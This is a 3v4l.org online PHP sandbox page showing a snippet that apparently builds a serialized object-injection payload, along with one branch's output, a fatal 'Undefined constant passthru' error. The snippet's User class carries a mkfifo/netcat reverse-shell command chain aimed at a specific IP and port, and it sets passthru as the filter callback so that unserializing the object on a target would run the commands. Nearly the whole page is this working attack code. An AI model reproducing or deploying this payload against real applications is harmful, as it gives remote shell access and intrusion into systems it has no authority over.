3v4l.org

run code in 300+ PHP versions simultaneously
<?php class User{ var $username; var $created; var $actions = ["rm -f /tmp/f", "mkfifo /tmp/f", "cat /tmp/f | /bin/sh -i 2>&1 | nc 10.16.194.3 9999 > /tmp/f " ]; var $sort; var $filterby=passthru; var $filtervalue="hii"; function __construct($username){ $this->username = $username; $this->created = new DateTime(null); $this->sort = "User::action_sort_name"; $this->filterby=null; $this->filtervalue=null; } function get_username(){ return $this->username; } function add_action($pillname){ array_push($this->actions, new Action($pillname) ); } function set_sort_method($sort_name){ $this->sort = $sort_name; } function get_sort_method(){ return $this->sort; } function sort_actions(){ usort($this->actions, $this->sort); } function get_display_actions(){ if ($this->filtervalue != null){ $res = array_filter($this->actions, $this->filterby); $pr = print_r($res, true); return $res; } return $this->actions; } function get_pill_names(){ $pill_names = array(); foreach($this->actions as $action){ array_push($pill_names, $action->pillname); } return array_unique($pill_names); } function set_filtervalue($val){ $this->filtervalue = $val; } function set_filterby($val){ $this->filterby = $val; } public function action_filter_name($a){ $res = ($a->pillname == $this->filtervalue); return $res; } public function action_filter_time($a){ /* before this time */ if ($a > $this->filtervalue){ return true; } } public static function action_sort_name($a, $b){ if ($a->pillname == $b->pillname){ return 0; } return ($a->pillname < $b->pillname) ? -1 : 1 ; } public static function action_sort_date($a, $b){ if ($a->datetime == $b->datetime){ return 0; } return ($a->datetime < $b->datetime) ? -1 : 1 ; } } class Action{ var $pillname; var $datetime; function __construct($pillname){ $this->pillname = $pillname; $this->datetime = new DateTime(null); } } print serialize(new User('tryagain')) ?>
Output for git.master_jit, git.master, rfc.property-hooks
Fatal error: Uncaught Error: Undefined constant "passthru" in /in/62cGf:86 Stack trace: #0 {main} thrown in /in/62cGf on line 86
Process exited with code 255.

This tab shows result from various feature-branches currently under review by the php developers. Contact me to have additional branches featured.

Active branches

Archived branches

Once feature-branches are merged or declined, they are no longer available. Their functionality (when merged) can be viewed from the main output page


preferences:
45.32 ms | 401 KiB | 8 Q